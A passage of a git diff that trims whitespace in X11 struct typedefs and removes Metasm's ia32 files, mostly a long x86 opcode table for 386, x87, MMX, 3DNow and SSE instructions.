   Atom selection;
   Time time;
 } XSelectionClearEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -480,7 +480,7 @@ struct {
   Atom property;
   Time time;
 } XSelectionEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -493,7 +493,7 @@ struct {
   Atom property;
   Time time;
 } XSelectionRequestEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -503,7 +503,7 @@ struct {
   Window window;
   int from_configure;
 } XUnmapEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -579,7 +579,7 @@ EOS
 def self.test
   d = xopendisplay(nil)
   s = xdefaultscreen(d)
-  cmap = xdefaultcolormap(d, s)
+  #cmap = xdefaultcolormap(d, s)
   w = xcreatesimplewindow(d, xdefaultrootwindow(d), 0, 0, 28, 28, 0, xblackpixel(d, s), xblackpixel(d, s))
   xstorename(d, w, "lol")
   gc = xcreategc(d, w, 0, 0)
diff --git a/lib/metasm/metasm/ia32.rb b/lib/metasm/metasm/ia32.rb
deleted file mode 100644
index 01cd3e26a8..0000000000
--- a/lib/metasm/metasm/ia32.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-#    This file is part of Metasm, the Ruby assembly manipulation suite
-#    Copyright (C) 2006-2009 Yoann GUILLOT
-#
-#    Licence is LGPL, see LICENCE in the top-level directory
-
-
-require 'metasm/main'
-require 'metasm/ia32/parse'
-require 'metasm/ia32/encode'
-require 'metasm/ia32/decode'
-require 'metasm/ia32/render'
-require 'metasm/ia32/compile_c'
-require 'metasm/ia32/decompile'
-require 'metasm/ia32/debug'
diff --git a/lib/metasm/metasm/ia32/opcodes.rb b/lib/metasm/metasm/ia32/opcodes.rb
deleted file mode 100644
index 3eec8a6c5c..0000000000
--- a/lib/metasm/metasm/ia32/opcodes.rb
+++ /dev/null
@@ -1,872 +0,0 @@
-#    This file is part of Metasm, the Ruby assembly manipulation suite
-#    Copyright (C) 2006-2009 Yoann GUILLOT
-#
-#    Licence is LGPL, see LICENCE in the top-level directory
-
-
-require 'metasm/ia32/main'
-
-module Metasm
-class Ia32
-  def init_cpu_constants
-    @opcode_list ||= []
-    @fields_mask.update :w => 1, :s => 1, :d => 1, :modrm => 0xc7,
-      :reg => 7, :eeec => 7, :eeed => 7, :seg2 => 3, :seg3 => 7,
-      :regfp => 7, :regmmx => 7, :regxmm => 7
-    @fields_mask[:seg2A]    = @fields_mask[:seg2]
-    @fields_mask[:seg3A]    = @fields_mask[:seg3]
-    @fields_mask[:modrmA]   = @fields_mask[:modrm]
-
-    @valid_args.concat [:i, :i8, :u8, :u16, :reg, :seg2, :seg2A,
-      :seg3, :seg3A, :eeec, :eeed, :modrm, :modrmA, :mrm_imm,
-      :farptr, :imm_val1, :imm_val3, :reg_cl, :reg_eax,
-      :reg_dx, :regfp, :regfp0, :modrmmmx, :regmmx,
-      :modrmxmm, :regxmm] - @valid_args
-
-    @valid_props.concat [:strop, :stropz, :opsz, :argsz, :setip,
-      :stopexec, :saveip, :unsigned_imm, :random, :needpfx,
-      :xmmx] - @valid_props
-  end
-
-  # only most common instructions from the 386 instruction set
-  # inexhaustive list :
-  # no aaa, arpl, mov crX, call/jmp/ret far, in/out, bts, xchg...
-  def init_386_common_only
-    init_cpu_constants
-
-    addop_macro1 'adc', 2
-    addop_macro1 'add', 0
-    addop_macro1 'and', 4, :u
-    addop 'bswap', [0x0F, 0xC8], :reg
-    addop 'call',  [0xE8], nil,  {}, :stopexec, :setip, :i, :saveip
-    addop 'call',  [0xFF], 2,    {}, :stopexec, :setip, :saveip
-    addop('cbw',   [0x98]) { |o| o.props[:opsz] = 16 }
-    addop('cwde',  [0x98]) { |o| o.props[:opsz] = 32 }
-    addop('cdqe',  [0x98]) { |o| o.props[:opsz] = 64 }
-    addop('cwd',   [0x99]) { |o| o.props[:opsz] = 16 }
-    addop('cdq',   [0x99]) { |o| o.props[:opsz] = 32 }
-    addop('cqo',   [0x99]) { |o| o.props[:opsz] = 64 }
-    addop_macro1 'cmp', 7
-    addop_macrostr 'cmps',  [0xA6], :stropz
-    addop 'dec',   [0x48], :reg
-    addop 'dec',   [0xFE], 1,    {:w => [0, 0]}
-    addop 'div',   [0xF6], 6,    {:w => [0, 0]}
-    addop 'enter', [0xC8], nil,  {}, :u16, :u8
-    addop 'idiv',  [0xF6], 7,    {:w => [0, 0]}
-    addop 'imul',  [0xF6], 5,    {:w => [0, 0]}, :reg_eax
-    addop 'imul',  [0x0F, 0xAF], :mrm
-    addop 'imul',  [0x69], :mrm, {:s => [0, 1]}, :i
-    addop 'inc',   [0x40], :reg
-    addop 'inc',   [0xFE], 0,    {:w => [0, 0]}
-    addop 'int',   [0xCC], nil,  {}, :imm_val3, :stopexec
-    addop 'int',   [0xCD], nil,  {}, :u8
-    addop_macrotttn 'j', [0x70], nil, {}, :setip, :i8
-    addop_macrotttn 'j', [0x0F, 0x80], nil, {}, :setip, :i
-    addop 'jmp',   [0xE9], nil,  {:s => [0, 1]}, :setip, :i,  :stopexec
-    addop 'jmp',   [0xFF], 4,    {}, :setip, :stopexec
-    addop 'lea',   [0x8D], :mrmA
-    addop 'leave', [0xC9]
-    addop_macrostr 'lods',  [0xAC], :strop
-    addop 'loop',  [0xE2], nil,  {}, :setip, :i8
-    addop 'loopz', [0xE1], nil,  {}, :setip, :i8
-    addop 'loope', [0xE1], nil,  {}, :setip, :i8
-    addop 'loopnz',[0xE0], nil,  {}, :setip, :i8
-    addop 'loopne',[0xE0], nil,  {}, :setip, :i8
-    addop 'mov',   [0xA0], nil,  {:w => [0, 0], :d => [0, 1]}, :mrm_imm, :reg_eax
-    addop 'mov',   [0x88], :mrmw,{:d => [0, 1]}
-    addop 'mov',   [0xB0], :reg, {:w => [0, 3]}, :u
-    addop 'mov',   [0xC6], 0,    {:w => [0, 0]}, :u
-    addop_macrostr 'movs',  [0xA4], :strop
-    addop 'movsx', [0x0F, 0xBE], :mrmw
-    addop 'movzx', [0x0F, 0xB6], :mrmw
-    addop 'mul',   [0xF6], 4,    {:w => [0, 0]}
-    addop 'neg',   [0xF6], 3,    {:w => [0, 0]}
-    addop 'nop',   [0x90]
-    addop 'not',   [0xF6], 2,    {:w => [0, 0]}
-    addop_macro1 'or', 1, :u
-    addop 'pop',   [0x58], :reg
-    addop 'pop',   [0x8F], 0
-    addop 'push',  [0x50], :reg
-    addop 'push',  [0xFF], 6
-    addop 'push',  [0x68], nil,  {:s => [0, 1]}, :u
-    addop 'ret',   [0xC3], nil,  {}, :stopexec, :setip
-    addop 'ret',   [0xC2], nil,  {}, :stopexec, :u16, :setip
-    addop_macro3 'rol', 0
-    addop_macro3 'ror', 1
-    addop_macro3 'sar', 7
-    addop_macro1 'sbb', 3
-    addop_macrostr 'scas',  [0xAE], :stropz
-    addop_macrotttn('set', [0x0F, 0x90], 0) { |o| o.props[:argsz] = 8 }
-    addop_macrotttn('set', [0x0F, 0x90], :mrm) { |o| o.props[:argsz] = 8 ; o.args.reverse! }	# :reg field is unused
-    addop_macro3 'shl', 4
-    addop_macro3 'sal', 6
-    addop 'shld',  [0x0F, 0xA4], :mrm, {}, :u8
-    addop 'shld',  [0x0F, 0xA5], :mrm, {}, :reg_cl
-    addop_macro3 'shr', 5
-    addop 'shrd',  [0x0F, 0xAC], :mrm, {}, :u8
-    addop 'shrd',  [0x0F, 0xAD], :mrm, {}, :reg_cl
-    addop_macrostr 'stos',  [0xAA], :strop
-    addop_macro1 'sub', 5
-    addop 'test',  [0x84], :mrmw
-    addop 'test',  [0xA8], nil,  {:w => [0, 0]}, :reg_eax, :u
-    addop 'test',  [0xF6], 0,    {:w => [0, 0]}, :u
-    addop 'xchg',  [0x90], :reg, {}, :reg_eax
-    addop('xchg',  [0x90], :reg, {}, :reg_eax) { |o| o.args.reverse! }	# xchg eax, ebx == xchg ebx, eax)
-    addop 'xchg',  [0x86], :mrmw
-    addop('xchg',  [0x86], :mrmw) { |o| o.args.reverse! }
-    addop_macro1 'xor', 6, :u
-  end
-
-  def init_386_only
-    init_cpu_constants
-
-    addop 'aaa',   [0x37]
-    addop 'aad',   [0xD5, 0x0A]
-    addop 'aam',   [0xD4, 0x0A]
-    addop 'aas',   [0x3F]
-    addop('arpl',  [0x63], :mrm) { |o| o.props[:argsz] = 16 ; o.args.reverse! }
-    addop 'bound', [0x62], :mrmA
-    addop 'bsf',   [0x0F, 0xBC], :mrm
-    addop 'bsr',   [0x0F, 0xBD], :mrm
-    addop_macro2 'bt' , 0
-    addop_macro2 'btc', 3
-    addop_macro2 'btr', 2
-    addop_macro2 'bts', 1
-    addop 'call',  [0x9A], nil,  {}, :stopexec, :setip, :farptr, :saveip
-    addop 'callf', [0x9A], nil,  {}, :stopexec, :setip, :farptr, :saveip
-    addop 'callf', [0xFF], 3,    {}, :stopexec, :setip, :saveip
-    addop 'clc',   [0xF8]
-    addop 'cld',   [0xFC]
-    addop 'cli',   [0xFA]
-    addop 'clts',  [0x0F, 0x06]
-    addop 'cmc',   [0xF5]
-    addop('cmpxchg',[0x0F, 0xB0], :mrmw) { |o| o.args.reverse! }
-    addop 'cpuid', [0x0F, 0xA2]
-    addop 'daa',   [0x27]
-    addop 'das',   [0x2F]
-    addop 'hlt',   [0xF4], nil, {}, :stopexec
-    addop 'in',    [0xE4], nil,  {:w => [0, 0]}, :reg_eax, :u8
-    addop 'in',    [0xE4], nil,  {:w => [0, 0]}, :u8
-    addop 'in',    [0xEC], nil,  {:w => [0, 0]}, :reg_eax, :reg_dx
-    addop 'in',    [0xEC], nil,  {:w => [0, 0]}, :reg_eax
-    addop 'in',    [0xEC], nil,  {:w => [0, 0]}
-    addop_macrostr 'ins',   [0x6C], :strop
-    addop 'into',  [0xCE]
-    addop 'invd',  [0x0F, 0x08]
-    addop 'invlpg',[0x0F, 0x01, 7<<3], :modrmA
-    addop 'iret',  [0xCF], nil,  {}, :stopexec, :setip
-    addop 'iretd', [0xCF], nil,  {}, :stopexec, :setip
-    addop('jcxz',  [0xE3], nil,  {}, :setip, :i8) { |o| o.props[:opsz] = 16 }
-    addop('jecxz', [0xE3], nil,  {}, :setip, :i8) { |o| o.props[:opsz] = 32 }
-    addop 'jmp',   [0xEA], nil,  {}, :farptr, :setip, :stopexec
-    addop 'jmpf',  [0xEA], nil,  {}, :farptr, :setip, :stopexec
-    addop 'jmpf',  [0xFF], 5,    {}, :stopexec, :setip		# reg ?
-    addop 'lahf',  [0x9F]
-    addop 'lar',   [0x0F, 0x02], :mrm
-    addop 'lds',   [0xC5], :mrmA
-    addop 'les',   [0xC4], :mrmA
-    addop 'lfs',   [0x0F, 0xB4], :mrmA
-    addop 'lgs',   [0x0F, 0xB5], :mrmA
-    addop 'lgdt',  [0x0F, 0x01], 2
-    addop 'lidt',  [0x0F, 0x01, 3<<3], :modrmA
-    addop 'lldt',  [0x0F, 0x00], 2
-    addop 'lmsw',  [0x0F, 0x01], 6
-# prefix	addop 'lock',  [0xF0]
-    addop 'lsl',   [0x0F, 0x03], :mrm
-    addop 'lss',   [0x0F, 0xB2], :mrmA
-    addop 'ltr',   [0x0F, 0x00], 3
-    addop('mov',   [0x0F, 0x20, 0xC0], :reg, {:d => [1, 1], :eeec => [2, 3]}, :eeec) { |op| op.args.reverse! }
-    addop('mov',   [0x0F, 0x21, 0xC0], :reg, {:d => [1, 1], :eeed => [2, 3]}, :eeed) { |op| op.args.reverse! }
-    addop('mov',   [0x8C], 0,    {:d => [0, 1], :seg3 => [1, 3]}, :seg3) { |op| op.args.reverse! }
-    addop 'out',   [0xE6], nil,  {:w => [0, 0]}, :u8, :reg_eax
-    addop 'out',   [0xE6], nil,  {:w => [0, 0]}, :reg_eax, :u8
-    addop 'out',   [0xE6], nil,  {:w => [0, 0]}, :u8
-    addop 'out',   [0xEE], nil,  {:w => [0, 0]}, :reg_dx, :reg_eax
-    addop 'out',   [0xEE], nil,  {:w => [0, 0]}, :reg_eax, :reg_dx
-    addop 'out',   [0xEE], nil,  {:w => [0, 0]}, :reg_eax			# implicit arguments
-    addop 'out',   [0xEE], nil,  {:w => [0, 0]}
-    addop_macrostr 'outs',  [0x6E], :strop
-    addop 'pop',   [0x07], nil,  {:seg2A => [0, 3]}, :seg2A
-    addop 'pop',   [0x0F, 0x81], nil,  {:seg3A => [1, 3]}, :seg3A
-    addop('popa',  [0x61]) { |o| o.props[:opsz] = 16 }
-    addop('popad', [0x61]) { |o| o.props[:opsz] = 32 }
-    addop('popf',  [0x9D]) { |o| o.props[:opsz] = 16 }
-    addop('popfd', [0x9D]) { |o| o.props[:opsz] = 32 }
-    addop 'push',  [0x06], nil,  {:seg2 => [0, 3]}, :seg2
-    addop 'push',  [0x0F, 0x80], nil,  {:seg3A => [1, 3]}, :seg3A
-    addop('pusha', [0x60]) { |o| o.props[:opsz] = 16 }
-    addop('pushad',[0x60]) { |o| o.props[:opsz] = 32 }
-    addop('pushf', [0x9C]) { |o| o.props[:opsz] = 16 }
-    addop('pushfd',[0x9C]) { |o| o.props[:opsz] = 32 }
-    addop_macro3 'rcl', 2
-    addop_macro3 'rcr', 3
-    addop 'rdmsr', [0x0F, 0x32]
-    addop 'rdpmc', [0x0F, 0x33]
-    addop 'rdtsc', [0x0F, 0x31], nil, {}, :random
-    addop 'retf',  [0xCB], nil,  {}, :stopexec, :setip
-    addop 'retf',  [0xCA], nil,  {}, :stopexec, :u16, :setip
-    addop 'rsm',   [0x0F, 0xAA], nil, {}, :stopexec
-    addop 'sahf',  [0x9E]
-    addop 'sgdt',  [0x0F, 0x01, 0<<3], :modrmA
-    addop 'sidt',  [0x0F, 0x01, 1<<3], :modrmA
-    addop 'sldt',  [0x0F, 0x00], 0
-    addop 'smsw',  [0x0F, 0x01], 4
-    addop 'stc',   [0xF9]
-    addop 'std',   [0xFD]
-    addop 'sti',   [0xFB]
-    addop 'str',   [0x0F, 0x00], 1
-    addop 'ud2',   [0x0F, 0x0B]
-    addop 'verr',  [0x0F, 0x00], 4
-    addop 'verw',  [0x0F, 0x00], 5
-    addop 'wait',  [0x9B]
-    addop 'wbinvd',[0x0F, 0x09]
-    addop 'wrmsr', [0x0F, 0x30]
-    addop('xadd',  [0x0F, 0xC0], :mrmw) { |o| o.args.reverse! }
-    addop 'xlat',  [0xD7]
-
-# pfx:  addrsz = 0x67, lock = 0xf0, opsz = 0x66, repnz = 0xf2, rep/repz = 0xf3
-#	cs/nojmp = 0x2E, ds/jmp = 0x3E, es = 0x26, fs = 0x64, gs = 0x65, ss = 0x36
-    # undocumented opcodes
-    # TODO put these in the right place (486/P6/...)
-    addop 'aam',   [0xD4], nil,  {}, :u8
-    addop 'aad',   [0xD5], nil,  {}, :u8
-    addop 'setalc', [0xD6]
-    addop 'salc', [0xD6]
-    addop 'icebp', [0xF1]
-    #addop 'loadall',[0x0F, 0x07]	# conflict with syscall
-    addop 'ud2',   [0x0F, 0xB9]
-    addop 'umov',  [0x0F, 0x10], :mrmw,{:d => [1, 1]}
-  end
-
-  def init_387_only
-    init_cpu_constants
-
-    addop 'f2xm1', [0xD9, 0xF0]
-    addop 'fabs',  [0xD9, 0xE1]
-    addop_macrofpu1 'fadd',  0
-    addop 'faddp', [0xDE, 0xC0], :regfp
-    addop 'faddp', [0xDE, 0xC1]
-    addop('fbld',  [0xDF, 4<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 }
-    addop('fbstp', [0xDF, 6<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 }
-    addop 'fchs',  [0xD9, 0xE0], nil,  {}, :regfp0
-    addop 'fnclex',      [0xDB, 0xE2]
-    addop_macrofpu1 'fcom',  2
-    addop_macrofpu1 'fcomp', 3
-    addop 'fcompp',[0xDE, 0xD9]
-    addop 'fcomip',[0xDF, 0xF0], :regfp
-    addop 'fcos',  [0xD9, 0xFF], nil,  {}, :regfp0
-    addop 'fdecstp', [0xD9, 0xF6]
-    addop_macrofpu1 'fdiv', 6
-    addop_macrofpu1 'fdivr', 7
-    addop 'fdivp', [0xDE, 0xF8], :regfp
-    addop 'fdivp', [0xDE, 0xF9]
-    addop 'fdivrp',[0xDE, 0xF0], :regfp
-    addop 'fdivrp',[0xDE, 0xF1]
-    addop 'ffree', [0xDD, 0xC0], nil,  {:regfp  => [1, 0]}, :regfp
-    addop_macrofpu2 'fiadd', 0
-    addop_macrofpu2 'fimul', 1
-    addop_macrofpu2 'ficom', 2
-    addop_macrofpu2 'ficomp',3
-    addop_macrofpu2 'fisub', 4
-    addop_macrofpu2 'fisubr',5
-    addop_macrofpu2 'fidiv', 6
-    addop_macrofpu2 'fidivr',7
-    addop 'fincstp', [0xD9, 0xF7]
-    addop 'fninit',      [0xDB, 0xE3]
-    addop_macrofpu2 'fist', 2, 1
-    addop_macrofpu3 'fild', 0
-    addop_macrofpu3 'fistp',3
-    addop('fld', [0xD9, 0<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 }
-    addop('fld', [0xDD, 0<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 }
-    addop('fld', [0xDB, 5<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 }
-    addop 'fld', [0xD9, 0xC0], :regfp
-
-    addop('fldcw',  [0xD9, 5<<3], :modrmA) { |o| o.props[:argsz] = 16 }
-    addop 'fldenv', [0xD9, 4<<3], :modrmA
-    addop 'fld1',   [0xD9, 0xE8]
-    addop 'fldl2t', [0xD9, 0xE9]
-    addop 'fldl2e', [0xD9, 0xEA]
-    addop 'fldpi',  [0xD9, 0xEB]
-    addop 'fldlg2', [0xD9, 0xEC]
-    addop 'fldln2', [0xD9, 0xED]
-    addop 'fldz',   [0xD9, 0xEE]
-    addop_macrofpu1 'fmul',  1
-    addop 'fmulp',  [0xDE, 0xC8], :regfp
-    addop 'fmulp',  [0xDE, 0xC9]
-    addop 'fnop',   [0xD9, 0xD0]
-    addop 'fpatan', [0xD9, 0xF3]
-    addop 'fprem',  [0xD9, 0xF8]
-    addop 'fprem1', [0xD9, 0xF5]
-    addop 'fptan',  [0xD9, 0xF2]
-    addop 'frndint',[0xD9, 0xFC]
-    addop 'frstor', [0xDD, 4<<3], :modrmA
-    addop 'fnsave', [0xDD, 6<<3], :modrmA
-    addop('fnstcw', [0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 }
-    addop 'fnstenv',[0xD9, 6<<3], :modrmA
-    addop 'fnstsw', [0xDF, 0xE0]
-    addop('fnstsw', [0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 }
-    addop 'fscale', [0xD9, 0xFD]
-    addop 'fsin',   [0xD9, 0xFE]
-    addop 'fsincos',[0xD9, 0xFB]
-    addop 'fsqrt',  [0xD9, 0xFA]
-    addop('fst',  [0xD9, 2<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 }
-    addop('fst',  [0xDD, 2<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 }
-    addop 'fst',  [0xD9, 0xD0], :regfp
-    addop('fstp', [0xD9, 3<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 }
-    addop('fstp', [0xDD, 3<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 }
-    addop('fstp', [0xDB, 7<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 }
-    addop 'fstp', [0xDD, 0xD8], :regfp
-    addop_macrofpu1 'fsub',  4
-    addop 'fsubp',  [0xDE, 0xE8], :regfp
-    addop 'fsubp',  [0xDE, 0xE9]
-    addop_macrofpu1 'fsubp', 5
-    addop 'fsubrp', [0xDE, 0xE0], :regfp
-    addop 'fsubrp', [0xDE, 0xE1]
-    addop 'ftst',   [0xD9, 0xE4]
-    addop 'fucom',  [0xDD, 0xE0], :regfp
-    addop 'fucomp', [0xDD, 0xE8], :regfp
-    addop 'fucompp',[0xDA, 0xE9]
-    addop 'fucomi', [0xDB, 0xE8], :regfp
-    addop 'fxam',   [0xD9, 0xE5]
-    addop 'fxch',   [0xD9, 0xC8], :regfp
-    addop 'fxtract',[0xD9, 0xF4]
-    addop 'fyl2x',  [0xD9, 0xF1]
-    addop 'fyl2xp1',[0xD9, 0xF9]
-    # fwait prefix
-    addop 'fclex',  [0x9B, 0xDB, 0xE2]
-    addop 'finit',  [0x9B, 0xDB, 0xE3]
-    addop 'fsave',  [0x9B, 0xDD, 6<<3], :modrmA
-    addop('fstcw',  [0x9B, 0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 }
-    addop 'fstenv', [0x9B, 0xD9, 6<<3], :modrmA
-    addop 'fstsw',  [0x9B, 0xDF, 0xE0]
-    addop('fstsw',  [0x9B, 0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 }
-    addop 'fwait',  [0x9B]
-  end
-
-  def init_486_only
-    init_cpu_constants
-    # TODO add new segments (fs/gs) ?
-  end
-
-  def init_pentium_only
-    init_cpu_constants
-
-    addop 'cmpxchg8b', [0x0F, 0xC7], 1
-    # lock cmpxchg8b eax
-    #addop 'f00fbug', [0xF0, 0x0F, 0xC7, 0xC8]
-
-    # mmx
-    addop 'emms',  [0x0F, 0x77]
-    addop('movd',  [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args[o.args.index(:modrmmmx)] = :modrm ; o.args.reverse! }
-    addop('movq',  [0x0F, 0x6F], :mrmmmx, {:d => [1, 4]}) { |o| o.args.reverse! }
-    addop 'packssdw', [0x0F, 0x6B], :mrmmmx
-    addop 'packsswb', [0x0F, 0x63], :mrmmmx
-    addop 'packuswb', [0x0F, 0x67], :mrmmmx
-    addop_macrogg 0..2, 'padd',  [0x0F, 0xFC], :mrmmmx
-    addop_macrogg 0..1, 'padds', [0x0F, 0xEC], :mrmmmx
-    addop_macrogg 0..1, 'paddus',[0x0F, 0xDC], :mrmmmx
-    addop 'pand',  [0x0F, 0xDB], :mrmmmx
-    addop 'pandn', [0x0F, 0xDF], :mrmmmx
-    addop_macrogg 0..2, 'pcmpeq',[0x0F, 0x74], :mrmmmx
-    addop_macrogg 0..2, 'pcmpgt',[0x0F, 0x64], :mrmmmx
-    addop 'pmaddwd', [0x0F, 0xF5], :mrmmmx
-    addop 'pmulhuw', [0x0F, 0xE4], :mrmmmx
-    addop 'pmulhw',[0x0F, 0xE5], :mrmmmx
-    addop 'pmullw',[0x0F, 0xD5], :mrmmmx
-    addop 'por',   [0x0F, 0xEB], :mrmmmx
-    addop_macrommx 1..3, 'psll', 3
-    addop_macrommx 1..2, 'psra', 2
-    addop_macrommx 1..3, 'psrl', 1
-    addop_macrogg 0..2, 'psub',  [0x0F, 0xF8], :mrmmmx
-    addop_macrogg 0..1, 'psubs', [0x0F, 0xE8], :mrmmmx
-    addop_macrogg 0..1, 'psubus',[0x0F, 0xD8], :mrmmmx
-    addop_macrogg 1..3, 'punchkh', [0x0F, 0x68], :mrmmmx
-    addop_macrogg 1..3, 'punpckl', [0x0F, 0x60], :mrmmmx
-    addop 'pxor',  [0x0F, 0xEF], :mrmmmx
-  end
-
-  def init_p6_only
-    addop_macrotttn 'cmov', [0x0F, 0x40], :mrm
-
-    %w{b e be u}.each_with_index { |tt, i|
-      addop 'fcmov' + tt, [0xDA, 0xC0 | (i << 3)], :regfp
-      addop 'fcmovn'+ tt, [0xDB, 0xC0 | (i << 3)], :regfp
-    }
-    addop 'fcomi', [0xDB, 0xF0], :regfp
-    addop('fxrstor', [0x0F, 0xAE, 1<<3], :modrmA) { |o| o.props[:argsz] = 512*8 }
-    addop('fxsave',  [0x0F, 0xAE, 0<<3], :modrmA) { |o| o.props[:argsz] = 512*8 }
-    addop 'sysenter',[0x0F, 0x34]
-    addop 'sysexit', [0x0F, 0x35]
-
-    addop 'syscall', [0x0F, 0x05]	# AMD
-    addop 'sysret',  [0x0F, 0x07]	# AMD
-  end
-
-  def init_3dnow_only
-    init_cpu_constants
-
-    [['pavgusb', 0xBF], ['pfadd', 0x9E], ['pfsub', 0x9A],
-     ['pfsubr', 0xAA], ['pfacc', 0xAE], ['pfcmpge', 0x90],
-     ['pfcmpgt', 0xA0], ['fpcmpeq', 0xB0], ['pfmin', 0x94],
-     ['pfmax', 0xA4], ['pi2fd', 0x0D], ['pf2id', 0x1D],
-     ['pfrcp', 0x96], ['pfrsqrt', 0x97], ['pfmul', 0xB4],
-     ['pfrcpit1', 0xA6], ['pfrsqit1', 0xA7], ['pfrcpit2', 0xB6],
-     ['pmulhrw', 0xB7]].each { |str, bin|
-      addop str, [0x0F, 0x0F, bin], :mrmmmx
-    }
-    # 3dnow prefix fallback
-    addop '3dnow', [0x0F, 0x0F], :mrmmmx, {}, :u8
-
-    addop 'femms', [0x0F, 0x0E]
-    addop 'prefetch',  [0x0F, 0x0D, 0<<3], :modrmA
-    addop 'prefetchw', [0x0F, 0x0D, 1<<3], :modrmA
-  end
-
-  def init_sse_only
-    init_cpu_constants
-
-    addop_macrossps 'addps', [0x0F, 0xA8], :mrmxmm
-    addop 'andnps',  [0x0F, 0xAA], :mrmxmm
-    addop 'andps',   [0x0F, 0xA4], :mrmxmm
-    addop_macrossps 'cmpps', [0x0F, 0xC2], :mrmxmm
-    addop 'comiss',  [0x0F, 0x2F], :mrmxmm
-
-    [['pi2ps', 0x2A], ['ps2pi', 0x2D], ['tps2pi', 0x2C]].each { |str, bin|
-      addop('cvt' << str, [0x0F, bin], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx }
-      addop('cvt' << str.tr('p', 's'), [0x0F, bin], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF3 }
-    }
-
-    addop_macrossps 'divps', [0x0F, 0x5E], :mrmxmm
-    addop 'ldmxcsr', [0x0F, 0xAE, 2<<3], :modrmA
-    addop_macrossps 'maxps', [0x0F, 0x5F], :mrmxmm
-    addop_macrossps 'minps', [0x0F, 0x5D], :mrmxmm
-    addop('movaps',  [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}) { |o| o.args.reverse! }
-    addop('movd',    [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.args.reverse! ; o.props[:needpfx] = 0x66 }
-    addop('movdqa',  [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 }
-
-    # movhlps(reg, reg){nomem} == movlps(reg, mrm){no restriction}...
-    addop 'movhlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}
-    addop 'movlps',  [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}
-    addop 'movlhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}
-    addop 'movhps',  [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}
-
-    addop 'movmskps',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg
-    addop('movss',   [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF3 }
-    addop 'movups',  [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}
-    addop_macrossps 'mulps', [0x0F, 0x59], :mrmxmm
-    addop 'orps',    [0x0F, 0x56], :mrmxmm
-    addop_macrossps 'rcpps',  [0x0F, 0x53], :mrmxmm
-    addop_macrossps 'rsqrtps',[0x0F, 0x52], :mrmxmm
-    addop 'shufps',  [0x0F, 0xC6], :mrmxmm, {}, :u8
-    addop_macrossps 'sqrtps', [0x0F, 0x51], :mrmxmm
-    addop 'stmxcsr', [0x0F, 0xAE, 3<<3], :modrmA
-    addop_macrossps 'subps', [0x0F, 0x5C], :mrmxmm
-    addop 'ucomiss', [0x0F, 0x2E], :mrmxmm
-    addop 'unpckhps',[0x0F, 0x15], :mrmxmm
-    addop 'unpcklps',[0x0F, 0x14], :mrmxmm
-    addop 'xorps',   [0x0F, 0x57], :mrmxmm
-
-    # start of integer instruction (accept opsz override prefix to access xmm)
-    addop('pavgb',   [0x0F, 0xE0], :mrmmmx) { |o| o.props[:xmmx] = true }
-    addop('pavgw',   [0x0F, 0xE3], :mrmmmx) { |o| o.props[:xmmx] = true }
-# TODO		addop('pextrw',  [0x0F, 0xC5], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } { |o| o.props[:xmmx] = true ; o.args << :u8 }
-#		addop('pinsrw',  [0x0F, 0xC4], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } { |o| o.props[:xmmx] = true ; o.args << :u8 }
-    addop('pmaxsw',  [0x0F, 0xEE], :mrmmmx) { |o| o.props[:xmmx] = true }
-    addop('pmaxub',  [0x0F, 0xDE], :mrmmmx) { |o| o.props[:xmmx] = true }
-    addop('pminsw',  [0x0F, 0xEA], :mrmmmx) { |o| o.props[:xmmx] = true }
-    addop('pminub',  [0x0F, 0xDA], :mrmmmx) { |o| o.props[:xmmx] = true }
-#		addop('pmovmskb',[0x0F, 0xD4], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } ) { |o| o.props[:xmmx] = true } # no mem ref in the mrm
-    addop('pmulhuw', [0x0F, 0xE4], :mrmmmx) { |o| o.props[:xmmx] = true }
-    addop('psadbw',  [0x0F, 0xF6], :mrmmmx) { |o| o.props[:xmmx] = true }
-    addop('pshufw',  [0x0F, 0x70], :mrmmmx) { |o| o.props[:xmmx] = true ; o.args << :u8 }
-    addop('maskmovq',[0x0F, 0xF7], :mrmmmx) { |o| o.props[:xmmx] = true } # nomem
-    addop('movntq',  [0x0F, 0xE7], :mrmmmx) { |o| o.props[:xmmx] = true }
-    addop 'movntps', [0x0F, 0x2B], :mrmxmm
